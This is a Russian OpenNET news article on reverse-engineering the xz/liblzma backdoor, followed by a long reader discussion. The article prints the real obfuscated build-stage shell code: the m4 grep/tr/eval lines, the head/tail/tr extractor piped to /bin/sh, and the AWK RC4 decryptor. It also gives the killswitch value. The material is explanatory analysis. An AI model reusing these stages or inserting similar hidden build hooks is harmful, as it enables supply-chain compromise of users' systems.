The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Разбор логики активации и работы бэкдора в пакете xz

31.03.2024 10:18

Доступны предварительные результаты обратного инжиниринга вредоносного объектного файла, встроенного в liblzma в результате кампании по продвижению бэкдора в пакет xz. Бэкдор затрагивает только системы x86_64 на базе ядра Linux и Си-библиотеки Glibc, в которых к sshd применяется дополнительный патч, осуществляющий связывание с библиотекой libsystemd для поддержки механизма sd_notify. Изначально предполагалось, что бэкдор позволяет обойти аутентификацию в sshd и получить доступ к системе через SSH. Более детальный анализ показал, что это не так и бэкдор предоставляет возможность выполнить произвольный код в системе, не оставляя следов в логах sshd.

В частности, перехватываемая бэкдором функция RSA_public_decrypt проверяет подпись хоста, используя фиксированный ключ Ed448, и в случае успешной проверки выполняет переданный внешним хостом код при помощи функции system() на стадии до сброса привилегий процессом sshd. Данные, содержащие код для исполнения, извлекаются из параметра "N", переданного в функцию RSA_public_decrypt (поле "n" из структуры rsa_st, содержащей переданный внешним хостом открытый ключ), проверяются по контрольной сумме и расшифровываются при помощи предопределённого ключа ChaCha20 на стадии до верификации цифровой подписи Ed448.

В качестве признака для активации бэкдора в sshd используется штатный механизм обмена хостовыми ключами. Бэкдор пользуется тем, что сертификаты OpenSSH включают открытый ключ лица, сформировавшего подпись, и реагирует только на ключ, подготовленный злоумышленником и соответствующий предопределённому фиксированному ключу Ed448. Если верификация подписи по открытому ключу не проходит или если целостность данных для исполнения не подтверждается, бэкдор возвращает управление штатным функциям SSH.

Так как закрытый ключ злоумышленника неизвестен, невозможно реализовать проверочный код, который позволил бы посторонним активировать бэкдор и реализовать сканер скомпрометированных хостов в сети. Исследователями подготовлен скрипт, демонстрирующий технику подстановки открытого ключа с произвольным содержимым в передаваемый SSH-клиентом сертификат OpenSSH, который будет обработан в перехваченной бэкдором функции RSA_public_decrypt.

Исследователи также заметили наличие конструкции, обезвреживающей бэкдор (killswitch) на локальной системе при наличии выставленной перед запуском sshd переменой окружения "yolAbejyiejuvnup=Evjtgvsh5okmkAvj".

Дополнительно можно отметить детальный разбор shell-конструкций, используемых для запутывания процесса извлечения объектного файла с бэкдором и его подстановки в библиотеку liblzma. Во время сборки пакета xz из скрипта build-to-host.m4 запускался код, который находил среди тестовых файлов архив bad-3-corrupt_lzma2.xz, заменял в нём некоторые символы, превращал в неповреждённый архив и извлекал из него shell-скрипт.


  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
...
  gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
  gl_path_map='tr "\t \-_" " \t_\-"'

Полученный shell-скрипт по кусочкам извлекал из содержимого архива good-large_compressed.lzma ещё один shell-скрипт, пропуская определённые последовательности командами head и tail, и заменяя символы командой tr.


####Hello####
# a few binary bytes here, but as it's a comment they are ignorred
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

В результате формировался достаточно сложный и объёмный shell-скрипт, извлекающий непосредственно файл с бэкдором из архива good-large_compressed.lzma, расшифровывающий его и встраивающий в liblzma. Среди прочего в скрипте присутствовала реализация механизма плагинов, позволяющая впоследствии поставлять дополнительные исполняемые компоненты через размещение новых тестовых архивов, не меняя good-large_compressed.lzma и bad-3-corrupt_lzma2.xz, а используя поиск по сигнатуре. В коде также был задействован дешифровщик на базе алгоритма RC4, реализованный на языке AWK:


N=0
W=88664
else
N=88664
W=0
fi
xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

Дополнение: По мотивам выявленного бэкдора подготовлен инструментарий xzbot, включающий в себя: honeypot для создания фиктивных серверов, притворяющихся уязвимыми для выявления попыток подключения злоумышленников; патч для замены открытого ключа в бэкдоре внутри liblzma.so на свой ключ (чтобы подключаться к бэкдору по своему закрытому ключу); демонстрацию для инициирования выполнения кода в модифицированном бэкдоре, используя свой закрытый ключ.

 
  1. Главная ссылка к новости (https://news.ycombinator.com/i...)
  2. OpenNews: В библиотеке xz/liblzma выявлен бэкдор, организующий вход через sshd
  3. OpenNews: Ретроспектива продвижения бэкдора в пакет xz
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/60885-xz
Ключевые слова: xz, backdoor
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (187) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, IdeaFix (ok), 10:48, 31/03/2024 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +48 +/
    Так то красиво.... не васян делал, контора
     

     ....большая нить свёрнута, показать (44)

  • 1.2, Аноним (2), 10:49, 31/03/2024 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • +23 +/
    Т.е. я правильно понимаю ситуацию - какой-то ноунейм пришёл и без проблем напросился мейнтейнером в проект, используемый в практически любом дистре, подмял его под себя, засунул туда бекдор и ни у кого не возникало никаких вопросов? При этом выяснилось все благодаря чистой случайности. Ноунейм накосячил в своём бекдоре, что привлекло внимание чела из майкрософта и он со скуки таки раскопал что к чему. А если бы не накосячил, или тот чел из майкрософта решил пойти попить пива вместо ковыряния в коде xz, то никто ничего не обнаружил бы.
    Страшно представить, сколько таких ноунеймов сидят во всей этих тысячах опенсорсных проектов и ждут своего часа выкатить вредоносный патч.
     

     ....большая нить свёрнута, показать (59)

  • 1.3, Аноним (3), 10:50, 31/03/2024 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +1 +/
    >JavaScript Required

    Нифига не доступны.

     
  • 1.8, Аноним (40), 10:59, 31/03/2024 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • –10 +/
    > shell-скрипт
    > grep head tail tr sed awk

    может, пора уже выпилить этот колхоз из системы?

     
     
  • 2.10, Аноним (7), 11:04, 31/03/2024 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    Согласен, одно баша было бы достаточно, а пользователи устаревших шеллов пусть страдают.
     
     
  • 3.175, mos87 (ok), 07:53, 02/04/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    >Согласен, одно bat было бы достаточно
     
     
  • 4.194, Аноним (194), 18:42, 02/04/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • –1 +/
    Хм, придумал для троллинга: там где сделали Sed, Мелкомягких хватило только на Bat. Когда Билл Г. понял бесповоротность случившегося плохого, то отошёл от дел и крупно занялся благотворительностью.

    Вот так вот: Венда - это трагедия неудачи. ;)))))))))))))))))

     
  • 2.60, Аноним (60), 14:03, 31/03/2024 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +1 +/
    Подсказать систему без этого колхоза? Там, правда, сделали аналог и туда сунули сразу дотнет, чтоб неповадно было.
     
  • 2.193, Аноним (194), 18:37, 02/04/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    > может, пора уже выпилить этот колхоз из системы

    Нет, не пора.

    Этими инструментами работы с текстами пользуются талантливые разработчики. Остальным _кажутся_ не нужным.

    Ещё это функционал API администрирования. Утилиты текстом сообшают в std. out. и std. err., а эти утилиты служат для разбора ответа.

    Что точно пора, так это перестать программировать на шелл и идти учить саму систему и язык системы Си и Раст.

     

  • 1.13, vitalif (ok), 11:17, 31/03/2024 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • –1 +/
    PLOT TWIST

    Выясняется что это АНБ, оно отправляет зондеркоманду к исходному автору ХЗ, и он впиливает обратно более лучшую версию бэкдора :DD

     
     
  • 2.22, Аноним (22), 11:31, 31/03/2024 Скрыто ботом-модератором     [к модератору]
  • +/
     
  • 2.24, Аноним (7), 11:34, 31/03/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +2 +/
    А в принципе вообще лишняя зависимость и неоправданно тормозная , везде где был... большой текст свёрнут, показать
     
     
  • 3.42, Аноним (40), 12:31, 31/03/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    Код же открыт, возьми да исправь (на zstd)
     
  • 3.88, Аноним (88), 15:55, 31/03/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    > И шлак вроде Ark зависит от liarchive

    Почему шлак? Распаковывать архивы - это его задача.

     
     
  • 4.89, Аноним (7), 16:02, 31/03/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    К примеру, не поддерживает "забавные" имена файлов, это позор. Часто даже не может распаковать zip, приходится распаковывать 7z.
     

  • 1.15, Аноним (15), 11:22, 31/03/2024 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • +1 +/
    Это только начало. По умолчанию можно считать весь opensource скомпрометированным. Привет китайским и северокорейским друзьям.
     
     
  • 2.51, Аноним (51), 13:07, 31/03/2024 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +6 +/
    > Привет китайским и северокорейским друзьям.

    И европейским. И американским.

     
     
  • 3.109, Уволить ПОНАБа (?), 19:35, 31/03/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • –5 +/
    О! А вот и представитель КН(Д)Р нарисовался))) Позвольте с вами не согласиться, т.к. коммунизм - однозначно лютое зло и должен подохнуть в любом его проявлении, а демократия - хоть как-то отстаивает права и свободы своих граждан. И не надо мне втирать дичь про вселенское зло и загнивающий запад... Жил в СССР, на собственной шкуре ощутил все "прелести" коммунизма, которые (не будем тыкать пальцами кто) хотят выпустить на свободу и т.д. мне этого кала нафиг не нужно, закапывайте обратно.
     
     
  • 4.114, Аноним (113), 20:24, 31/03/2024 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +2 +/
    Это вы из телевизора взяли Жить в виртуальном мире вредно Реальность такова чт... большой текст свёрнут, показать
     
     
  • 5.161, Аноним (161), 18:22, 01/04/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Переезжай в Беларусь.
     
  • 5.162, Аноним (-), 18:42, 01/04/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Это тебе телевизер рассказал Даже не представляют где ты живешь А может ты про... большой текст свёрнут, показать
     
  • 4.146, Аноним (146), 10:24, 01/04/2024 Скрыто ботом-модератором     [к модератору]
  • +1 +/
     
  • 2.145, Аноним (145), 10:17, 01/04/2024 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • –1 +/
    *Весь софт.
     

  • 1.17, Аноним (17), 11:25, 31/03/2024 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +1 +/
    Добавьте ко всем ссылкам на Mastodon /embed в конец, чтобы открывалось без JS. За метод спасибо https://news.ycombinator.com/item?id=35885621
     
  • 1.21, Максим (??), 11:31, 31/03/2024 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +1 +/
    Не должно быть блобов в СПО. Блоб == закладка.
     
     
  • 2.27, Аноним (27), 11:40, 31/03/2024 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +6 +/
    Аккуратненький выход за границы буфера и вот тебе зонд о котором знаешь только ты. А найдут его только через миллион лет археологи безопасники. Пусть даже твой код пишут на билбордах по всему городу. Если не хочешь эксплуатировать продай кому-нибудь они на конкурсе безопасников выиграют денежный приз.
     
     
  • 3.50, Аноним (-), 13:06, 31/03/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Многие языки программирования, например, Groovy, Hack, Mojo и Nim, управляют выделением памяти автоматически, что делает ошибки, связанные с переполнением буфера, маловероятными или невозможными.
     
     
  • 4.55, Аноним (55), 13:49, 31/03/2024 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    Да, главное в это верить и никогда-никогда не искать какие-нибудь "JVM memory corruption" в базе CVE.
     
     
  • 5.63, Аноним (88), 14:28, 31/03/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    > Да, главное в это верить

    Ну так покажи мне выход за пределы буфера на Java.

    > и никогда-никогда не искать какие-нибудь "JVM memory corruption" в базе CVE.

    https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=JVM+memory+corruption

    Ну, и?

    А понял: опеннетный эксперт уверен, что Java рантайм написан на Java, правильно?

     
  • 4.92, Аноним (27), 16:30, 31/03/2024 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +1 +/
    Напомни зачем тебе писать уязвимость по выходу за границу буфера на языке в котором "нельзя" выйти да границу буфера? Когда можно сразу писать на языке в котором можно выйти за границу буфера. Или это какой то телевизорный прикол самому себе палки в колеса ставить?  
     
  • 2.144, Sw00p aka Jerom (?), 10:13, 01/04/2024 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • –1 +/
    СПО не должно быть :)
     

  • 1.30, Аноним (-), 11:47, 31/03/2024 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • +/
    Произвольный код, если он не ограничен SELinux.
     
     
  • 2.86, Mr. Major (?), 15:51, 31/03/2024 Скрыто ботом-модератором     [к модератору]
  • +/
     
  • 2.107, scriptkiddis (?), 19:00, 31/03/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    А чем и как в данном случае помог бы селялекс?
     
  • 2.176, mos87 (ok), 07:56, 02/04/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    селинух не ограничивает код. Он для дачи доп возможностей юзерам без выдачи оным рута.
     

  • 1.31, Аноним (31), 11:50, 31/03/2024 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • +2 +/
    Хорошо бы добавить в этот анализ упоминание, что все изложенное не имеет отношения к исходному openssh и применимо *исключительно* к патченой (systemd-notify) версии.
     
     
  • 2.47, Аноним (47), 12:57, 31/03/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Легче не становится от этого. sshd выбран похоже чисто как транспорт для shell-кода, а по факту скомпрометированна вся система: 1) sshd запущен в 99% случаев от root, бэкдор мог бы накуралесить чего-то ещё в системе при загрузке liblzma; 2) systemd по сути тоже скомпрометирован, и он в 100% случаев запущен от root; 3) liblzma может пользоваться и другими программами, и все они могли быть скомпрометированы. Единственное, что подозрительно (если читать только статью с опеннета) - это что в бекдоре не было запасного метода получения команд, только sshd и только при определённых обстоятельствах.
     
     
  • 3.65, Аноним (31), 14:30, 31/03/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +9 +/
    >sshd выбран похоже чисто как транспорт для shell-кода

    Вовсе не "чисто как транспорт". Вся эта исторяи стала возможна исключителько благодаря патчу systemd-notify.
    В самом openssh тщательно продуманная с точки зрения security архитектура и алгоритмы: pre-auth - chroot - privelege separation - auth. Тут появляются распальцованные "васяны" (другого слова не нахожу) и вкрячивают в эту цепочку libsystemd.
    Зависимости openssh (libcrypto, libkrb5) все относятся к категории high security и их действительно мониторят тысячи глаз. В то время как архиваторы, прилинкованные к systemd, - на переферии внимания.
    ИМХО, не было бы патча systemd-notify, ни кто не стал бы тратить годы на liblzma, потому как незачем.

     
     
  • 4.94, Аноним (27), 16:43, 31/03/2024 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • –1 +/
    Так его выявили не тысячи глаз читающие код. Бекдор выявил жор ресурсов https://mastodon.social/@AndresFreundTec/112180406142695845 нет Жора нет бекдора, народная мудрость.
     
     
  • 5.147, Аноним (146), 10:28, 01/04/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    Вспоминается вирус для Deplhi который кучу времени никто не находил похожим образом. При запуске программ с вирусом он заражал Deplhi на компьютере и все программы которые Delphi были с таким же вирусом, и больше ничего не делал. Никто ничего не замечал, обнаружили случайно так как вроде появились баги в скомпилированных программах поражённые вирусом.
     
  • 5.164, Аноним (164), 19:28, 01/04/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Вообще то это они как раз и есть.
     
  • 4.168, Аноним (169), 20:09, 01/04/2024 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • –1 +/
    > В самом openssh тщательно продуманная с точки зрения security архитектура

    Бывает правда, ложь, наглая ложь, статистика и комментарии на опеннет. Не, в OpenSSH нет тщательно продуманной архитектуры. С любой точки зрения.

     

  • 1.32, Аноним (32), 12:05, 31/03/2024 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +/
    >os.path.isfile

    Сразу видно лудита.

     
  • 1.39, Аноним (39), 12:20, 31/03/2024 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +9 +/
    Во всем виноват чертов системд комбайн. Если бы там не было всё так связано в одно месиво из сервисов, а каждый компонент был отдельно, то таких проблем бы не было. Слишком много прав - слишком много потенциальных проблем и уязвимостей. Рано закопали принцип Кисс в линуксах, а зря.
     
     
  • 2.53, Аноним (53), 13:31, 31/03/2024 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +1 +/
    Systemd точно так же состоит из кучи отдельных процессов и утилит, как какая-нибудь *BSD. И точно так же как и в *BSD весь код этих отдельных системных компонентов собран в одном месте по причине тесной интеграции на уровне интерфейсов взаимодействия. В *BSD в эту кучу ещё и ядро входит. Только про *BSD никто не бегает и не кричит, что это не юникс-вей и нарушение принципов KISS, а про systemd кричат.
     
     
  • 3.157, crypt (ok), 17:36, 01/04/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    это совершенно неверно. systemd нарушает KISS, в то время как BSD нет. и тебе на практике показали, что это не так. по списку линковки ты можешь посмотреть, с чем слинкованы UNIX утилиты, а потом сравнить, с чем слинкованы systemd утилиты.
     
  • 2.62, 1 (??), 14:26, 31/03/2024 [^] [^^] [^^^] [ответить]  [] []     [к модератору]
  • +2 +/
    тут Лёня Поттеринг высказался в ответ на критику своего любимого детища Uh sys... большой текст свёрнут, показать
     
     
  • 3.72, Аноним (72), 15:01, 31/03/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +2 +/
    >systemd documents the protocol at various places and the protocol is trivial

    До тех пор пока какой-нибудь конкурент Редхата не завяжется на него, тогда, конечно, stable API is nonsense.
    Уже все давно наигрались в эти игры с протоколами, голосованием сообщества и free as in freedom. Ментально сильные деды постепенно вымирают, а им на смену приходят кокоугодные, крикливые наёмники, готовые перегрызть глотку любому на кого укажет партия/корпорация.

     
  • 3.158, crypt (ok), 17:39, 01/04/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    > тут Лёня Поттеринг высказался в ответ на критику своего любимого детища:

    NOTABUG, ес-но! мы и так знаем, что он скажет. справедливости ради, когда переходишь на FreeBSD, избавляешься сразу и от systemd, и от selinux.

     
  • 2.68, Аноним (68), 14:35, 31/03/2024 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +1 +/
    В принципе, нет никаких сомнений, зачем его внедряли сразу во все дистрибутивы. Вот именно для этого самого!
     
  • 2.82, Аноним (82), 15:41, 31/03/2024 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    В чем проблема встроить такой же  бекдор в sysvinit? В 1000 строчную портянку для сервиса.
     
     
  • 3.122, Аноним (120), 22:26, 31/03/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +2 +/
    >В чем проблема встроить такой же  бекдор в sysvinit?

    в этом:




    $ ldd /sbin/init
            linux-vdso.so.1 (0x00007ffc0b74b000)
            libc.so.6 => /lib/libc.so.6 (0x00007f28fec0c000)
            /lib/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f28fee0e000)


    >В 1000 строчную портянку для сервиса.

    ты вообще понимаешь о чем речь? какие портянки, бешеный? :-D

     
  • 2.106, Аноним (106), 18:43, 31/03/2024 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    SystemD всё равно лучше!
     

  • 1.41, Геймер (?), 12:27, 31/03/2024 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • +7 +/
    Проблема  в отходе от unixway и в тотальном enshittification в современном ПО, от которого не спасает даже opensource. Когда фичи добавляются ради абстрактного прогресса. А в enshittification всегда рано или поздно заведутся паразиты.
     
     
  • 2.85, Аноним (88), 15:51, 31/03/2024 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    > Проблема  в отходе от unixway

    Можешь раскрыть тему? При чем здесь Unix way?

     
     
  • 3.126, Геймер (?), 00:05, 01/04/2024 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • –1 +/
    Windows-way - это давно уже обязательный антивирус в системе. Линуксоиды пока ещё обходятся без обязательного антивируса.
     
     
  • 4.150, Аноним (88), 13:16, 01/04/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    >> При чем здесь Unix way?
    > Линуксоиды пока ещё обходятся без обязательного антивируса.

    Чел, с тобой все хорошо? Как Винда и ее антивирусы относятся  к вопросу и теме новости?

     
  • 3.159, crypt (ok), 17:41, 01/04/2024 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    >> Проблема  в отходе от unixway
    > Можешь раскрыть тему? При чем здесь Unix way?

    у UNIX утилит функционал поделен очень узко и они линкуются с очень малым числом библиотек.

     
  • 2.95, Аноним (95), 16:58, 31/03/2024 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +1 +/
    Именно! Во времена Unix не было ни интернета, ни lzma. А теперь они есть и используются, вместо простых локальных систем с вводом через перфокарты/телетайпы. lzma и Интернет — две большие ошибки, приведшие к отходу от Unix Way!
     

  • 1.49, Аноним (47), 13:03, 31/03/2024 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • +6 +/
    Кажется, этот случай - самый лучший пример того, что сборщик вашего проекта должен выглядеть как один Makefile, один shell скрипт или ещё что-то однофайловое, что можно открыть и прочитать, что должно происходить, перед тем как вообще запускать сборку. Если это выглядит как cmake поверх autoconf поверх ещё целой папки с скриптами и в конце генерится нечитаемый Makefile - всю систему сборки можно отправлять в топку и переписывать начисто так, чтобы всё, что происходило - это билдились нужные elf-файлики запуском cc. Сами исходники xz по-факту чистые, бекдор весь в тестах лежал.
     
     
  • 2.58, Аноним (40), 13:59, 31/03/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    А прикинь, оно так и было в годах этак 80х... Да и сейчас так же — в разных консольных хеллоувордах. Но как только хочется чего-то большего, чем пялиться в святую консоль — оно почему-то не работает...
     
  • 2.59, Самый умный аноним (?), 14:01, 31/03/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Тогда мы засунем бэкдор в make
     
  • 2.77, Some Anon (?), 15:29, 31/03/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Ну и пиши свои хэллоуворлды так.
    Зачем других заставлять копать яму ложкой вместо экскаватора ?
     
  • 2.103, Аноним (7), 18:13, 31/03/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Глупости. Однофайловое сложнее читать, сложнее управлять, сложнее сопровождать. И это никак не избавит от подобных проблем, зато серьёзно понизит переносимость и универсальность. К тому же, в исходниках была ослаблена куча защит и проверок, что позволяет целый перечень атак, не сказал бы, что они чистые.
     
     
  • 3.117, Аноним (72), 20:51, 31/03/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Всё к линуксу/системд прибито уже давно. О какой переносимости идет речь? Куда переносить?
     
     
  • 4.119, Аноним (7), 21:21, 31/03/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    > Всё к линуксу/системд прибито уже давно. О какой переносимости идет речь? Куда
    > переносить?

    Линукс это только ядро. И нет, не прибито.

     

  • 1.66, Аноним (-), 14:31, 31/03/2024 Скрыто ботом-модератором [﹢﹢﹢] [ · · · ]     [к модератору]
  • –1 +/
     
  • 1.93, Аноним (93), 16:42, 31/03/2024 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +/
    Практика умышленного внедрения дыры под уже заготовленный эксплоит - рабочий метод. Чем тратить силы на поиски потенциальных уязвимостей в популярных пакетах, как оказалось проще, намного проще добавить в исходники.
     
     
  • 2.98, Аноним (97), 17:01, 31/03/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    кто бы сомневался
     

  • 1.138, Ivan_83 (ok), 07:50, 01/04/2024 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • +/
    Потому что autotools.
    Никто не хочет читать что там на m4 понаписано, потому что оно всё выглядит одинакого крипово.
     
     
  • 2.165, Аноним (164), 19:31, 01/04/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    В cmake тоже самое
     
     
  • 3.199, Ivan_83 (ok), 22:43, 02/04/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Тогда проект обречён :)
    Во фряхе взяли только нужные для сборки файлы и написали свои make файлы, как чувствовали :))))
     

  • 1.140, darkshvein (ok), 09:20, 01/04/2024 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • +1 +/
    ещё один довод за дебиан (олд)стейбл
     
     
  • 2.143, Аноним (143), 10:11, 01/04/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    >ещё один довод за дебиан (олд)стейбл

    Ага, довод за дикую фрагментацию пакетов и за кривые патчи.

     
  • 2.172, Аноним 80_уровня (ok), 00:56, 02/04/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    За Devuan.
     

  • 1.153, almanah (??), 17:08, 01/04/2024 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +/
    А если нейронки пустить анализировать актуальный код и те перелопатят это все, так и хакером не нужно быть
     
  • 1.174, Аноним (174), 07:28, 02/04/2024 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +1 +/
    У меня только один вопрос к коллегам. В Astra Linux попало?
     
     
  • 2.182, Аноним12345 (?), 11:54, 02/04/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Конечно
     
  • 2.201, Dexter (??), 22:37, 03/04/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    В 1.7.5 SE не попало.
    В репозиториях версия 5.2.4
     
     
  • 3.205, Аноним (174), 12:07, 04/04/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Интересует только 1.7.3 SE. Причина - это последняя версия, в которой работает клиент 1С. Во всех более новых версиях, начиная с 1.7.4, не работает (к тому же в новых версиях битый установщик). На Альт не хотелось бы переходить (хотя в Альте все в порядке), т.к. за лицензионную Астру уже уплачены немалые деньги.
     

  • 1.190, Алексий (ok), 15:57, 02/04/2024 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • +/
    Зато в Базальте ПОКА Нет (слава в Троице славивому Богу)
    выкладываю apt-cache show xz
    Version: 5.2.5-alt2
    УЯЗВИМЫЕ - 5.6.0 и 5.6.1
    https://xakep.ru/2024/04/01/xz-utils-backdoor/
     
     
  • 2.206, Аноним (174), 12:09, 04/04/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Похоже, на Альт 10 надо переходить (не дома - в конторе, естественно).
     
     
  • 3.208, Алексий (ok), 23:18, 04/04/2024 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    > Похоже, на Альт 10 надо переходить (не дома - в конторе, естественно).

    Я у них не работаю. Но техподдержка на ФОРУМЕ Базальта лучше аналогичной у Астры: быстрее откликаются, больше сообщество АКТИВНЫХ волонтеров

     

  • 1.198, fuggy (ok), 22:43, 02/04/2024 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +/
    После появления подробного анализа действительно очень подготовленная атака. И цепочка случайностей, почти отвязали liblzma от libsystemd, спалились на valgrind, которая чуть не загубила весь план, но в итоге случилась другая случайность, которая и раскрыла план.
    Можно отметить что первый коммит в m4 сам по себе довольно странный. grep, tr и eval сразу намекает на обфускацию, но для остальных m4 сборок это видимо норма. Во-вторых как не обнаружили что tar архив с файлами для сборки отличается от того, что находится в репозитории. Подумаешь несколько файлов добавилось и изменилось, где контрольные суммы, где подписанные коммиты, если можно в tar положить левые файлы.
